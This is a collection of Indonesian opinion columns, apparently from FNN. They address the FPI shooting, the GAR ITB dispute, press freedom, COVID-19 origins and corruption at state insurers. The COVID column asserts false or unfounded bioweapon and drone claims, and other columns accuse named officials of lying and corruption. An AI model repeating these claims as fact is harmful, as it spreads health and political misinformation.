HAM? Apakah Surat tugas kepada para petugas Polisi yang menembak laska FPI itu ditaruh di Komnas HAM? Apakah voice note yang diperoleh dari HP korban sejumlah 172 rekaman dan 191 transkripsi juga ditaruh di Komnas HAM? Jangan cari pembenaran untuk menyatakan dua orang laskar FPI yang mati di KM 50 itu lawfull killing. Betul, Komnas HAM dalam keterangan pers Nomor: 003/Humas/KH/2021 tanggal 8 Januari 2021, tidak menyatakan kedua almarhum itu mati secara unlawfull killing. Karena tidak disebut unlawful killing, maka anda mau menjadikan kenyataan itu sebagai celah untuk menyatakan kedua almarhum mati secara lawfull killing? Sudahlah, logika laskar FPI menyerang petugas Polisi tidak logis. Paling mungkiin itu hanya logis bagi Irjen Pol. Fadil Imran, Kapolda Metro. Mengapa? Oke mobil Avanza Silver K 9134 EL, Xenia B. 1519 UTI dan B 1542 POI serta Land Cruiser, dalam temuan Komnas HAM telah diakui sebagai mobil polisi. Tetapi soalnya adalah apakah mobil-mobil ini punya ciri fisik sebagai mobil polisi? Petugas Polda Metro pakai mobil bernomor polisi K 9134 EL? Komnas HAM juga menemukan mobil B. 1739 PWQ, dan B 1278 KJD terlibat aktif dalam pembuntutan rombongan Habib Rizieq. Tetapi mobil-mobil ini tidak diakui sebagai mobil petugas Polda Metro Jaya. Pak Kapolri dan Pak Fadil Imran, apakah itu mobil hantu? Disopiri oleh kuntilanak dan ditumpangi cacing? Pak Kapolri, tanyakanlah ke Fadil Imran, siapa orang di mobil yang tak jelas itu? Tanyakan juga ke Kapolda Metro, apakah petugas-petugas yang teridentifikasi pakai seragam Polisi? Sudahlah Pak Kapolri, hentikan semua pembicaraan yang bernalar ada penyerangan polisi oleh laskar FPI. Berhentilah. Kura-kura hutan bisa jingkrak-jingkak lalu berlari layak kijang, bila wacana itu terus disajikan. Komnas HAM saja tak mampu mengindentifikasi sebagian mobil itu, lalu dengan cara apa logika atau rasio FPI tahu atau harus tahu mobil-mobil itu adalah mobil polisi? Berpenung polisi di dalamnya? Kalau bukan mobil polisi, dan petugas polisi tidak berseragam, bagaimana membangun nalar laskar FPI seharusnya tidak berusaha menghalangi atau tidak menghalangi petugas-petugas itu? Pak Kapolri dan Imran Fadil harus tahu laskar FPI itu bukan ahli nujum. Fadil Imran, sang Kapolda hebat ini, memang top. Kasus habib Rizieq baru tahap penyelidikan, tetapi telah diintai. Tersangka saja belum, tetapi telah diintai, dipantau secara intensif. Fadil benci habib Rizieq dan FPI atau disuruh Presiden membenci habib Rizieq dan FPI? Fadil memang top. Pak Kapolri biarkan saja “pernyataan laskar menyerang polisi” itu milik Fadil Imran seorang diri. Dilansir Detik.com (4/12/2020) Fadil pernah memberi pernyataan yang sangat bernilai. Kami, katanya, terus melakukan penegakan hukum, khususnya terhadap ormas-ormas yang berperilaku seperti preman." Mantan Kapolda Jawa Timur ini mengatakan tidak ada ruang bagi pelaku premanisme di Indonesia, khususnya di Jakarta. "Negara ini tidak boleh kalah dengan premanisme, radikalisme, dan intoleransi," imbuh Fadil Imran. Pihaknya tidak akan memberikan toleransi terhadap ormas yang berlaku preman. Ormas preman bakal ditindak tegas. "Semua ormas yang berperilaku seperti preman akan kami tindak tegas," tegas Fadil Imran lagi (detikcom, 4/12/202). Fadil Imran yang Irjen Polisi ini, sekali lagi, hebat. Dia bukan preman. Dia Kapolda Metro Jaya. Dia tidak menyebut FPI sebagai ormas berperilaku khas preman. Tetapi tiga hari saja setelah suara Fadil menggetarkan alam hukum dan politik Jakarta, Ormas FPI, yang personil-personilnya mengawal Habib Rizieq mati dibunuh. Mereka ditembak dalam mobil, dan baku-tembak. Hebat Irjen Fadil Imran ini. Setelah nyawa-nyawa itu melayang, Fadil segera maju ke depan memberi penjelasan. Sikap Fadil khas seorang pemimpin. Dengan meyakinkan, Fadil menyampaikan kepada masyarakat bahwa enam nyawa laskar FPI yang melayang itu akibat melawan petugas. Top coi. Apa sekarang nurani Fadil sebagai hamba Allah Subhanahu Wata’ala, Yang Maha Tahu dan Maha Adil, yang tahu semua hal yang tersembunyi, tidak menggoda Fadil untuk sejenak saja menyadari bahwa seisi alam ini terluka, merasa dibohongi? Sungguh hebat bila Fadil tidak merasa ada kebohongan yang begitu telanjang dalam pernyataannya itu. Politik memang memungkinkan Fadil, yang tidak sama dengan Kapolda sebelumnya, mencari mimpi perkara ini berputar-putar tak karuan. Dengan begitu tidak ada petugas yang terluka karirnya, termasuk Fadil sendiri. Itu politik. Itu juga bukan alam semesta yang punya cara menertawakan dan mengolok-olok kenyataan itu. Tetapi andai Fadil memiliki mimpi itu, rasanya beralasan. Toh Kapolri, dalam kenyataan sejauh ini hanya mampu berucap indah, seindah pelangi disenja hari ketika mengucapkan, semacam janji di Komisi III DPR, akan menindaklanjuti kasus ini. Apa salah, andai orang waras menempatkan anda berdua, Kapolri dan Kapolda Metro Jaya, sebagai dua orang yang berada pada titik centrum tanggung jawab penuntasan kasus ini? Sekonyol apa andai orang waras membayangkan anda berdua segera tinggalkan jabatan yang sedang dipangku saat ini? Mundurnya anda berdua, kami bayangkan, menjadi sumbangan besar naiknya penghormatan yang pantas kepada Polri. Mundur akan menjadi cara terbaik merayu semesta untuk tak terus-terusan mencibir dan mengolok-olok anda berdua kini, esok, hingga akhir jabatan Presiden Jokowi nanti. Panggillah bimbingan moral dari lautan nurani anda berdua. Mungkin itu akan jadi bimbingan penentu. Tak akan ada yang bisa lebih jelas dari itu, apalagi lebih kuat. Sehebat apapun seorang manusia, tak pernah sehebat semesta menghormati ruh-ruh manusia, termasuk ruh enam laskar FPI yang telah melayang, tertembak peluru itu. Kebesaran nurani itu mahkota orang besar. Orang besar selalu kaya dan ringan menemukan cara besar dan anggun menyelesaikan soal. Orang besar melukis kebesarannya dengan tanggung jawab, karena tanggung jawab adalah teman seia-sekata kejujuran. Dunia terlalu canggih melukis godaan, membuatnya indah dan manis. Sehingga orang-orang kecil terlena, hanyut dan tenggelam dalam pelukannya. Pangkat dan jabatan selalu indah untuk pendaki dunia. Sayangnya pendaki tak selalu aman dari tipuannya. Mundurlah agar terhormat kelak.

Bubarkan Dan Hukum Itu GAR ITB

by M. Rizal Fadillah Bandung FNN- Mahfud MD bukan seorang pengamat yang hanya dipandang untuk opininya. Tetapi Mahfud adalah Menteri Kordinator Bidang Politik Hukum dan Keamanan (Menkopolhukam). Pejabat kompeten untuk melakukan "judgement" situasi politik dan keamanan negara. Termasuk menilai profil figur Prof. Dr. Din Syamsuddin MA, apakah radikal atau tidak? Pernyataan Mahfud tentang Prof. Din Syamsudin berbahaya atau tidak bagi bangsa dan negara. Tentu saja pernyataan yang tidak asal-asalan keluar. Juga pernyatan yang tidak asal bunyi dan bacot semata. Namun pernyataan yang didasarkan pada pengetahuan dan pemahaman pribadi Mahfud, maupun sejabagai pejabat negara yang berkompeten di bidangnya. Pernyataan penting dari Pak Mahfud adalah bahwa Din Syamsuddin bukan atau tidak radikal. Ini mematahkan upaya Gerakan Anti Radikal (GAR) alumni Institut Teknologi Bandung (ITB) yang melaporkan Din Syamsuddin sebagai figur yang radikal kepada Komite Aparatur Sipil Negara (KASN). Laporan yang membuat keluarga besar Mummadiyah marah dan bereaksi. Muhammadiyah adalah Organisasi Kemasyaratan Kegamaan tertua di negeri ini. Lebih tua dari Nahdlatul Ulama (NU) beberapa tahun. Muhammadiyah lahir 18 November 1912 di Yogyakarta. Sedangkan NU lahir 13 Januari 1026. Wajar saja warga Muhammadiyah bekerasi keras. Karena Prof. Din Syamsudin pernah menjadi Ketua Umum Pengurus Pusat (PP) Muhammadiyah. Di tengah penentangan banyak pihak atas langkah GAR ITB ini, pernyataan Mahfud MD cukup menjadi jawaban. Laporan itu harus segera dimasukkan ke dalam keranjang sampah. Saatnya GAR ITB menuai badai. Karena organisasi ini mengatasnamakan alumni ITB, maka GAR telah mencemarkan institusi ITB. Karenanya pasca penegasan Menkopolhukam terhadap pribadi Prof Din Syamsuddin, konsekuensi terhadap GAR dan laporannya adalah : Pertama, sanksi moral harus diberikan, yaitu GAR ITB mesti mencabut laporan KASN dan meminta maaf kepada Prof. Dr. Din Syamsuddin, MA. Berjanji untuk kepada publik dan ketelebagaan ITB untuk tidak lagi mengulangi kerjap-kerja yang tendensius dan berbau fitnah seperti ini Karena bukannya berdampak positif untuk isntitusi ITB, tetapi malah mendowngrade ITB. Kedua, sanksi sosial harus diberikan kepada organisasi GAR ITB , yakni desakan atau himbauan ITB agar GAR dibubarkan karena terbukti berulang kali mencemarkan nama baik institusi ITB. Pembubaran adalah konsekuensi logis dan pelajaran yang sangat berharga. Tujuannya, agar ke depan GAR tidak lagi digunakan sebagai alat untuk kepentingan politik sesaat. Ketiga, sanksi politik yaitu GAR ITB diusut tentang pendanaan dan perlindungan "kakak pembina" karena memperlihatkan diri sebagai buzzer kekuasaan. GAR bukan bagian dari institusi ITB, tetapi menjadi alat mainan "luar" untuk mengacak-acak ITB. GAR bukan kumpulan akademisi tetapi gerombolan politik yang berkedok sebagai alumni ITB. Keempat, sanksi hukum. GAR ITB yang telah mencemarkan nama baik Prof. Din Syamsuddin, sehingga layak untuk diadukan ke aparat penegak hukum atas delik pelanggaran hukum yang telah diperbuat. Pelanggaran tersebut diatur dalam KUHP dan UU Nomor 11 Tahun 2008 tentang Informasi dan Transaksi Eletronik (ITE). Disamping gugatan perdata yang juga dapat diajukan ke Pengadilan Negeri. Kelima, sanksi agama. Reaksi MUI, Muhammadiyah, dan NU dalam pembelaan kepada Din Syamsuddin mengindikasi ada misi keagamaan tertentu untuk memfitnah dan mendiskreditkan seorang tokoh Islam. Din Syamsuddin adalah tokoh Islam tingkat Nasional dan Internasional. Penyelidikan lanjutan diperlukan untuk membuktikan ada tidaknya "serangan keagamaan". GAR ITB telah membuat gara-gara dan kegaduhan di lingkungan akademis. Jika dibiarkan tanpa sanksi, dikhawatirkan GAR ITB akan terus bergerak merajalela menunaikan misi mengacak-acak harmoni dengan prasangka, hoaks, dan hate speech yang lebih jauh akan merusak ideologi bangsa. Kini hanya tiga kata untuk GAR ITB sang perusak harmoni, yaitu bubarkan, kucilkan, dan hukum ! Penulis adalah Pemerhati Politik dan Kebangsaan.

Pers Nasional Itu Hanya 9 Februari Saja, Selebihnya Pers Jokowi

by Asyari Usman Medan, FNN - Bertepatan dengan peringatan Hari Pers Nasional (HPN) 9 Februari 2021, Presiden Jokowi meminta agar masyarakat aktif mengkritik pemerintah. Termasuk mengkritik Jokowi sendiri. Kemudian, Sekretaris Kabinet (Seskab) Pramono Anung malah lebih menantang lagi. Dia juga berbicara terkait HPN. Kata Pramono, pemerintah memerlukan kritik pedas. Kritik tajam. Tampaknya Jokowi “prihatin” melihat pers nasional yang utuh dan total menjilat kekuasaan. Kecuali segelintir. Kalau dicermati berita-berita tentang permintaan kritik dalam beberapa hari belakangan ini, kita semua berbesar hati. Rasa-rasanya pers segera menikmati kebebasan mengkritik penguasa. Tetapi, bisakah imbauan kritik itu dipercaya? Mungkinkah pers nasional terbebas dari ketakutan dan keterpaksaan menjilat kekuasaan?Wallahu a’lam. Too good to be true. Terasa bagaikan mimpi indah. Jokowi dan Pramono Anung mengeluarkan imbauan “mari kritik kami” itu tampaknya semata-mata untuk tujuan peringatan HPN. Mereka merasa wajib bercuap-cuap manis tentang kebebasan pers pada tanggal itu. Supaya mereka terlihat pro-kebebasan pers. Padahal, imbauan kritik itu hanya berlaku satu hari saja. Khusus pada HPN 9 Februari itu. Tidak dimaksudkan berlaku tanpa batas waktu. Argumentasinya adalah, HPN ditetapkan 9 Februari. Hanya satu hari saja. Selebihnya, dari 10 Februari sampai 8 Februari tahun berikutnya bukan Hari Pers Nasional. Melainkah Hari-hari Pers Jokowi (HPJ). Jadi, sepanjang 364 hari dalam setahun, pers di Indonesia adalah pers Jokowi. Hanya satu hari saja pers di negara ini untuk kepentingan non-Jokowi.[] Penulis adalah Wartawan Senior FNN.co.id.

Laporkan Din Syamsuddin, GAR ITB Seperti Buzzer Peliharaan Penguasa

by M. Rizal Fadillah Bandung FNN – Langkah elaporkan Dosen Universitas Islam Negeri (UIN) Syarif Hidayatullah Prof. Dr. Din Syamsuddin MA ke Komisi Aparatur Sipil Negara (KASN) oleh Gerakan Anti Radikal (GAR) Institut Teknologi Bandung (ITB) adalah tuduhan yang tidak berdasar. Tuduhan atas dasar kebencian dan hayalan semata. Tuduhan yang dapat dikategorikan sebagai perbuatan pidana. Deliknya adalah pencemaran nama baik yang nyata-nyata diatur dalam Kitab Undang-Undang Hukum Pidana (KUHP) maupun Undan-Undang Nomor 11 Tahun 2009 tentang Informasi dan Teknologi Elektronik (ITE). Jika mau, makan Prof. Din Syamsudin bisa saja melaporkan kepada polisi atas dugaan pencemaran naik, atau penyerangan terhadap pribadi seseorang. Namun semunya tentu tergantung pada Pak Din sendiri untuk bersikap. Walaupun sebenarnya publik jengkel atas sikap GAR ITB yang telah mempermalukan diri. GAR juga melacurkan kualitas akademik sebagai alumni ITB. Kampus hebat yang dirusak oleh mental alumni yang menghamba pada kekuasaan. Menurut orang Belanda itu namanya "sklaven geist" (bermental budak)! Radikalisme itu adalah isu atau ideologi yang sering dinyatakan oleh kaum penjajah kepada mereka yang bersikap kritis terhadap kebijakan penjajah. Ekstrim, radikal, pemberontak adalah sebutan yang mudah untuk disematkan kepada pribumi yang berjuang untuk kemerdekaan negeri. Mereka difitnah dan diadu domba oleh penguasa dengan memanfaatkan pribumi yang berwatak penghianat. GAR mestinya berdiskusi dulu dengan sesama akademisi untuk menetapkan kriteria yang jelas, absolut, dan akademikal tentang radikal dan radikalisme. Terlihat kalau GAR telah gagal faham atau miskin pemahaman, miskin narasi, dan miskin literasi tentang radikalisme dan ekstrimisme. Kalau untuk memahami yang kecil-kecil saja tidak mengerti latar belakangnya. Bagaimana dengan yang besar? Sebaiknya jangan seenaknya menetapkan radikal atas sikap kritis dan korektif terhadap penguasa. Sejak SBY dulu, Pak Din sudah kritis terhadap penguasa. Bahkan lebih keras dari sekarang. GAR terlalu naif atau kekanak-kanakan jika sikap kritis disamakan dengan ekstrim dan radikal. Tanpa kejelasan definisi atau makna, maka sebenarnya tuduhan itu dapat menunjuk pada diri sendiri. Dahulu para nabi, sejak Ibrahim As, Musa As, dan Nabi Muhammad Salallahu Alaihi Wasallam juga dituduh ekstrim dan redikal oleh penguasa dan antek-anteknya ketika itu. Padahal yang sejatinya radikal dan ekstrim itu adalah penguasa Fir'aun, Namrud, dan Abu Jahal. Mereka adalah ekstrimis atau radikalis dalam setiap keburukan, kezaliman, dan kriminal. Nah tentu saja GAR yang seenaknya menuduh radikal kepada Prof. Din Syamsuddin, tidak akan senang jika disebut juga sebagai radikal keburukan, kezaliman, dan kriminal seperti Fir'aun, Namrud, atau Abu Jahal. Oleh karenanya bersikap lebih santun, bijak, dan "nyakola" lah sedikit. Belajarlah untuk saling menghormati sesama akademisi, perbedaan adalah hal yang wajar di dunia kampus. Sikap kritis inheren dengan karakter kampus sebagai masin produksi cendikiawanan. Kampus itu bukan tempat untuk saling memusuhi. Apalagi untuk sekedar mencari muka kepada penguasa. Terlalu primitif dan kampunganlah. Sebaliknya, GAR tampil memperlopori gagasan-gagasan briliun dari ITB untuk menyelesaikan berbagai persoalan bangsa. Seperti mengatasi pandemi covid-19 dan krisis ekonomi. Melaporkan Din Syamsuddin kepada KSAN adalah pencemaran nama baik. Nyata sebagai perbuatan melawan hukum. Sama saja artinya dengan main hakim sendiri "eigen richting". Nggak lucu kan kalau orang-orang kampus main hakim sendiri? Apa bedanya dengan preman jalanan? Masa sih GAR mau disamakan dengan preman juga? Ya sebaiknya janganlah. Majalah Tempo pernah memprihatinkan keruntuhan moral dunia kampus dengan membuat ilustrasi cover tikus bertoga dan ber"barcode harga". Kampus yang digambarkan telah kehilangan nilai-nilai intelektual. Tempat pagiarisme dan komersialisme bersarang. Sama dengan tempat para kolaborator, penghianat, pencari muka bersembunyi. Organisasi para agen dan penyembah kekuasaan. GAR ITB tak perlu menjadi tukang lapor-lapor seperti para buzzer peliharaan penguasa. Hadapi secara dialogis masalah yang menjadi misi perjuangannya. Buka ruang diskusi, buktikan kecendikiawanan diri dan organisasi. Menjadi pelaksana dari prinsip "in harmonia progressio". Bukan sebaliknya penyebab kemunduran dalam ketidakharmonisan. Sayang jika ITB dicemari oleh para "buzzer" peliharaan penguasa berkedok sebagai alumni. ITB itu sejak kemerdekaan sudah hebat dan terhormat. ITB juga terkenal mandiri dan merdeka. Penulis adalah Pemerhati Politik dan Kebangsaan.

WHO dan China Bakal Jadikan Indonesia “Tersangka” Sumber Corona?

by Mochamad Toha Surabaya, FNN - Guru Besar Biologi Molekuler Universitas Airlangga (Unair) Surabaya, Prof. Chaerul Anwar Nidom angkat bicara soal pernyataan bahwa Virus Corona bukan dari laboratorium di China. Ia meyakini COVID-19 itu buatan, tak alami. Menurutnyua, pandemi Covid-19 merupakan sebuah wabah yang didesain sedemikian rupa. Sebab, jika pandemi ini muncul secara alamiah, maka akan mudah diketahui asal-usulnya. Ia juga mengatakan, membuat virus memang ada ilmunya. “Kalau alam kan sebenarnya bisa dideteksi kan. Tapi yang tidak bisa dideteksi bagaimana ada orang jahat di sebuah laboratorium untuk kepentingan-kepentingan dan disebarkan. Nah, itu kan by design namanya. Jadi virus itu didesain,” ujar Nidom, seperti dikutip Detik.com. ”Dan, itu ada ilmunya, kemampuan itu ada bahwa virus itu bisa dibuat itu bisa,” lanjut Nidom, Rabu (10/2/2021). Pernyataan itu disampaikan setelah WHO menyatakan, virus Corona tak mungkin berasal dari laboratorium di China. “Ya karena virusnya kan ndak bisa ditanya. Jadi apa pun pendapatnya bisa saja diputar balik, kan gitu. Kecuali virusnya bisa diinterogasi kayak yang dilakukan pihak penyidik kan baru ketahuan,” ujar Nidom. Menurut Prof Nidom, itulah problematikanya. Jadi, siapa pun mau mengatakan dari mana dari mana itu bisa saja dilakukan. “Itu kan bisa demi kepentingan politik, demi kepentingan yang lain-lain,” imbuhnya. Ia kemudian mengingatkan kembali bagaimana awal kemunculan virus Corona yang pertama kali terdeteksi di Kota Wuhan, China, yang sempat mempunyai banyak nama. Namun, pada akhirnya semua menyebut sebagai Corona Virus Disease 2019 atau COVID-19. “Sama dengan dulu memberi nama virus COVID ini disebut juga dengan Wuhan Virus, terus pemerintah China protes karena nanti akan tertulis selama-lamanya. Sehingga diganti dengan SARS CoV. Kemudian penyakitnya juga dulu disebut penyakit Wuhan,” ujar Prof Nidom. “Cina protes lagi makanya disebut Corona Virus Disease 2019 atau COVID-19,” lanjut Prof Nidom. “Tapi letusan (Corona) itu kan dari Wuhan. Seandainya bukan dari Wuhan kan tidak bisa kita mengatakan bahwa ini pandemi. Jadi titik episentrum awal ini dari Wuhan,” tambahnya. “Nah sekarang sebelum dikatakan dari Wuhan dan sebagainya, ada dari mana-mana kan yang dicurigai dari Amerika Serikat dan sebagainya. Nah kalau ini benar berita seperti itu harusnya pemerintah China menuntut pemerintah Amerika,” tegas Prof Nidom. Menurut Prof Nidom, meski ada perdebatan mengenai asal-usul virus Corona, masyarakat dunia sudah terlanjur mempercayai bahwa pandemi ini memang bukan alamiah. Hal ini kemudian membuat WHO turut ikut menyelidiki muasalnya. Apalagi, di masyarakat sudah berkembang bahwa ada suatu penyakit yang bukan alamiah. Jadi ada kepercayaan dan keyakinan dari masyarakat dunia bahwa Covid ini apakah wabah alam atau wabah buatan. “Sehingga WHO ini perlu turun untuk meyakinkan masyarakat dunia. Nah, ini tergantung dari kemampuan WHO untuk menyelidiki itu," terang Prof Nidom. Sebelumnya, tim pakar internasional yang menyelidiki asal-usul Covid-19 menolak anggapan, Covid-19 berasal dari laboratorium di China. Peter Ben Embarek, Kepala Misi WHO mengatakan, sangat tidak mungkin virus itu adalah bocoran dari laboratorium di Kota Wuhan. Peter Ben mengatakan, perlu penyelidikan lebih lanjut untuk mengidentifikasi sumber virus. Penyelidikan sekarang bisa fokus di Asia Tenggara, kata seorang pakar kesehatan. Tim WHO saat ini dalam tahap akhir misi investigasi mereka. Wuhan yang terletak di Provinsi Hubei adalah tempat virus Covid-19 pertama kali dideteksi pada 2019. Sejak itulah, lebih dari 106 juta kasus dan 2,3 juta kematian telah dilaporkan di seluruh dunia. Mengarah ke Indonesia? Kesimpulan dari para tim peneliti WHO terkait laboratorium di Wuhan bahwa yang sangat tidak mungkin virus itu bocor dari Institut Virologi Wuhan, sebuah laboratorium dengan banyak koleksi sampel virus, menjadi bukti WHO membela China. Dalam menentukannya, tim tersebut mengatakan, kebocoran semacam itu sangat jarang dan tidak ada bukti virus itu ada di lab itu atau di lab mana pun di dunia saat pandemi dimulai. “Sangat tidak mungkin ada sesuatu yang bisa lolos dari tempat seperti itu,” ujar pemimpin tim WHO Peter Ben Embarek saat meninjau protokol keselamatan di sana. Benarkah ini senjata biologis yang sedang dikembangkan China, seperti sinyalemen seorang perwira intelijen dan ahli perang biologis Israel Letkol Dany Shoham? Jika benar, ini jelas sangat membahayakan kehidupan manusia di dunia. Bisa saja virus ini senjata bio massal China, seperti SARS dan lain-lain. Hanya saja China sedang naas alias apes kali ini. Sekarang ini senjata paling bahaya bagi manusia bukan nuklir atau bom atom. Senjata paling bahaya ya bio massal. Perlu dicatat! Perang Dunia I berakhir itu gara-gara wabah cacar. Dan, kini dengan banyak negara punya nuklir, penangkalnya pun sudah mereka siapkan. Makanya, sekarang negara-negara maju berlomba-lomba membuat senjata biologis lagi. Sebenarnya bukan naas juga. Uji coba mereka berhasil. Cek saja siapa-siapa yang menjadi korban. Hanya kalangan miskin China. Dan, ke depan China akan berubah menjadi Thanos: melenyapkan sebagian besar populasi manusia dan hewan melalui senjata biologis. Targetnya: orang-orang miskin yang menurut China sudah tak berguna! Yang dikhawatirkan virus-virus bio massal itu dikirim ke seluruh dunia via drone. Sebab, radar belum bisa deteksi drone. Bahasa radar hanya unidentifying object. Uji coba nuklir dan penangkalnya beberapa waktu lalu justru sudah dilakukan AS dan Iran. Termasuk uji coba senjata dengan medium drone. Diduga, itu adalah senjata Nuklir. Coba saja periksa bagaimana kondisi mayat jenderal Iran yang jadi korban serangan drone AS itu. Benarkah Virus Corona yang sedang melanda Kota Wuhan, Provinsi Hubei, China, adalah senjata biologis yang berasal dari Wuhan Institute of Virology, sebuah laboratorium terkait senjata rahasia China yang mengembangkan virus mematikan. Tampaknya tudingan perwira intelijen Israel itu secara gamblang telah “dimentahkan” oleh WHO dan China. Dan, penyelidikan WHO sekarang “bisa fokus” di Asia Tenggara. Meski tak menyebut nama negara, sepertinya WHO dan China bakal menjadikan Indonesia sebagai “tersangka” sumber Virus Corona? Penulis adalah Wartawan Senior FNN.co.id

Robohnya BUMN Asuransi Kami

TAHUN 2021 adalah tahun paling menyedihkan buat industri asuransi, mengingat raksasa-raksasa Badan Usaha Milik Negara (BUMN) asuransi kita terancam menderita kerugian ratusan triliun. Lebih celaka lagi potensi kerugian itu dilakukan oleh orang dalam, yakni direksi dan komisaris bekerjasama dengan para rent seeker, pemburu rente, yang menggerogoti BUMN asuransi kita secara sempurna. Bagaimana itu bisa terjadi? Tiga bulan lalu sahabat yang rajin menulis isu asuransi, yakni Irvan Raharjo, mengbarkan baru merampungkan buku Robohnya BUMN Kami. Secara filosofi judul tersebut memang datang dari kami, sehingga beliau secara pribadi mengucapkan terima kasih atas inspirasi judul buku terbarunya. Kabar yang menggemberakan dari praktisi asuransi itu, hadirnya buku itu tentu saja disambut meriah buat kalangan industri asuransi, karena telah hadir satu buku baru dibidang asuransi yang diakui sangat sulit dan tidaklah mudah membuatnya. Kabar buruknya justru apa yang diceritakan dalam buku itu menggambarkan betapa buruknya pengelolaan BUMN asuransi kita yang rerata beraset besar dan sudah berusia puluhan bahkan ratusan tahun. Memang sangat menyedihkan, rakyat Indonesia disuguhkan praktik kepemimpinan asuransi yang adigang adigung adiguno, ugal-ugalan, norak dan cenderung koruptif massif. Dengan kedekatan pertemanan direksi dan komisaris berhasil menjebol kocek asuransi BUMN yang kita cintai ini. Celakanya, Otoritas Jasa Keuangan (OJK) bak macan ompong, tak mampu membendung proses perampokan dana asuransi baik yang secara terang-terangan maupun tersembunyi, lewat financial engineering, mark up atau mark down aset, maupun lewat goreng menggoreng saham di pasar modal. Lihat saja jejak potensi kerugian asuransi BUMN itu. Menurut Kejaksaan Agung, Asuransi Jiwasraya yang awalnya diduga menderita kerugian Rp17 triliun melonjak menjadi Rp37,4 triliun. Asuransi Angkatan Bersenjata Republik Indonesia (ASABRI) harus menanggung potensi lonjakan kerugian dari Rp22 triliun menjadi Rp23,7 triliun. Selain itu Badan Penyelenggara Jaminan Sosial (BPJS) Ketenagakerjaan, masih menurut Kejaksaan Agung, harus menderita potensi kerugian hingga Rp20 triliun. Sebelum itu asuransi kumpulan Asuransi Jiwa Bersama (AJB) Bumiputera 1912 yang walaupun bukan BUMN asuransi, tapi merupakan municipal insurance atau asuransi kumpulan, dimana setiap pemegang polis sekaligus pemegang saham, harus menanggung negative spread Rp20 triliun. Yakni selisih antara aset Rp10,1 triliun dengan kewajiban yang harus ditanggung Rp30,1 triliun. Kalau diperhatikan, modus kejahatan BUMN asuransi itu terjadi setahun dua tahun sebelum dan sesudah Pilpres. Mengapa? Kalau proses perampokan yang terjadi sebelum Pilpres berlangsung, diduga digunakan untuk dana politik jelang Pilpres. Sementara kalau proses perampokan terjadi setelah Pilpres, itu pertanda sang Pilpres terpilih sedang menggunakan kekuasaannya untuk mengeruk dana asuransi lewat modus operandi yang berbagai macam tadi. Robohnya BUMN asuransi ini memang dahsyat dan itu terjadi dimasa kepemimpinan Menteri BUMN Erick Thohir. Celakanya aliran dana BUMN asuransi tersebut ada yang menyasar di saham milik keluarga besar Erick Thohir, secara moral harusnya beliau mengundurkan diri atau mempersilakan aparat untuk menelusuri atau bahkan menyelidiki kasus tersebut. Lebih celaka lagi, dalam kasus Jiwasraya dan ASABRI melibatkan ahli goreng saham di pasar modal, yakni Benny Tjokrosaputro. Penulis menduga yang bersangkutan juga berperan dalam cawe-cawe dana BUMN asuransi lainnya, yakni Jiwasraya. Dalam kasus Jiwasraya, Benny Tjokro yang merupakan pihak eksternal yang sudah divonis seumur hidup dan penyidik menyita 33 hektare tanahnya di Rangkas Bitung, tentu saja ia melakukan banding. Sedangkan dalam kasus ASABRI peran Benny Tjokro sedang dalam penyelidikan. Ada lagi nama Heru Hidayat, Komisaris PT Trada Alam Minera Tbk, yang ikut menjebol dana ASABRI, diketahui ikut berperan menggerogoti dana ASABRI. Jaksa Agung telah menyita 20 unit kapal tanker miliknya, dimana dalam sehari kapal-kapal tanker tersebut mendapat tarif sewa mencapai Rp437 juta per hari. Ada nama Harry Prasetyo, mantan Dirut Jiwasraya yang sempat mampir menjadi Deputi di Kepala Staf Kepresidenan Moeldoko. Ia menjabat sebagai menjadi Tenaga Ahli Utama Kedeputian III bidang Kajian dan Pengelolaan Isu-Isu Ekonomi Strategis. Harry diduga berperan besar dalam pembobolan dana Jiwasraya, sehingga hadirnya Harry di Istana benar-benar mencoreng nama baik KSP, Itu sebabnya Moeldoko sempat merasa kecolongan. Bagaimana cara mereka membetot dana BUMN asuransi tersebut, tentu bervariasi. Ada yang digunakan untuk menggoreng saham perusahaan yang owner-nya memiliki kedekatan dengan direksi dan komisaris BUMN asuransi itu. Ada juga yang mengakuisisi aset tanah dan bangunan dengan harga mark up, disamping juga ada modus penempatan dana dalam perusahaan, bank atau emiten, kemudian dana itu diolah sedemikian rupa sehingga merugikan perusahaan asurangi tersebut. Yang menyedihkan ada direksi yang sengaja membuat klaim palsu atau klaim atau perusahaan yang sudah selesai masa asuransinya (replanting claim), sehingga dana asuransi itu pun terbang entah kemana. Yang paling besar tentu dengan cara menggoreng saham emiten tertentu sampai setinggi langit, kemudian saham itu jatuh serendah-rendahnya sehingga investasi BUMN asuransi itupun hancur. Sayangnya kelanjutan penyelidikan aliran dana ke partai politik, yang diperkirakan menjadi penyebab utama korupsi itu terjadi, tidak berlanjut. Penyeleidikan mentok di tokoh-tokoh internal asuransi dan petinggi perusahaan emiten. Nama-nama yang mengarah ke parpol seperti Harun Masiku hilang lenyap tanpa jejak. Hikmah yang bisa kita petik dari peristiwa perampokan dana-dana BUMN asuransi itu adalah, pertama, betapa budaya pemerasan BUMN sejak zaman Orde Baru hingga kini masih berpangsung dengan derajat yang makin brutal dan massif. BUMN menjadi sapi perah itu ternyata nyata, bukan mitos, dan belum berhenti. Kedua, peristiwa penggangsiran likuiditas BUMN asuransi makin hari makin meningkat kualitas maupun kuantitasnya. Sehingga efek kerugian yang diciptakan semakin besar. Ketiga, penelusuran rekening dan keterlibatan tokoh hanya berhenti pada direksi, komisaris dan pihak swasta yang terlibat saja. Ketika ada indikasi mengarah ke tokoh politik langsung dihentikan. Keempat, dengan masih amannya aktor intelektual yang nota bene para politisi dalam proses perampokan dana BUMN asuransi, maka besar kemungkinan proses itu masih berlanjut, karena tidak ada efek jera. Kelima, kita memang membutuhkan pimpinan yang kuat, tegas dan berwibawa untuk menghentikan proses penggarongan BUMN asuransi. Bahwa proses penggarongan dana BUMN asuransi masih terus berlangsung, membuktikan bahwa kepemimpinan yang ada benar-benar lemah, tidak tegas dan jauh dari berwibawa. Itulah nestapa yang menimpa BUMN asuransi kita, dimana perusahaan asuransi itu adalah peninggalan para founding father bangsa ini. Saat mendirikan mereka berharap BUMN asuransi kita bisa menyejahterakan rakyat Indonesia. Oleh karena rendahnya amanah dan rendahnya rasa takut pada Tuhan, maka proses penggarongan itu terjadi dan masih berlangsung. Disaat kita sibuk meratapi penggarongan BUMN asuransi, perusahaan asuransi asing justru sedang berpesta pora menikmati kinerja dan laba yang bersinar seperti Prudential, Manulife, Allianz, Zurich, dan lainnya. Itu sebabnya penulis memperkirakan BUMN asuransi kita akan tergilas oleh 